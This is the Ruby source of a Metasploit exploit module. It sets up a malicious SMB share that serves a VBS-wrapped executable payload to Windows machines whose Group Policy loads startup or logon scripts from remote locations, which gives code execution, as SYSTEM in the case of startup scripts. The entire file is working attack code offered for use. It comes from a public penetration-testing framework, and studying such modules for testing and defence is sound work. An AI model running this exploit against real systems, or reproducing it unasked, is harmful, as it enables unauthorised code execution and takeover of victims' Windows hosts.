85 lines
2.6 KiB
Ruby
85 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::SMB::Server::Share
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Group Policy Script Execution From Shared Resource',
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'Description' => %q{
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This is a general-purpose module for exploiting systems with Windows Group Policy
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configured to load VBS startup/logon scripts from remote locations. This module runs
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a SMB shared resource that will provide a payload through a VBS file. Startup scripts
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will be executed with SYSTEM privileges, while logon scripts will be executed with the
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user privileges. Have into account which the attacker still needs to redirect the
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target traffic to the fake SMB share to exploit it successfully. Please note in some
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cases, it will take 5 to 10 minutes to receive a session.
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},
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'Author' =>
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[
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'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba
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'juan vazquez' # msf module
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],
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'References' =>
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[
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['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],
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['URL', 'https://github.com/GDSSecurity/BadSamba']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => false,
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'Platform' => 'win',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
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[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 26 2015'
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))
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register_options(
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[
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OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])
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])
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deregister_options('FILE_CONTENTS')
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end
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def setup
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super
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self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs"
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@custom_payloads = {}
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print_status("File available on #{unc}...")
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end
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def on_client_connect(client)
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super(client)
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unless @custom_payloads[:client]
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p = regenerate_payload(client)
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exe = p.encoded_exe
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@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)
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end
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end
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def get_file_contents(client:)
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contents = @custom_payloads[client] || super(client: client)
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contents
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end
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end
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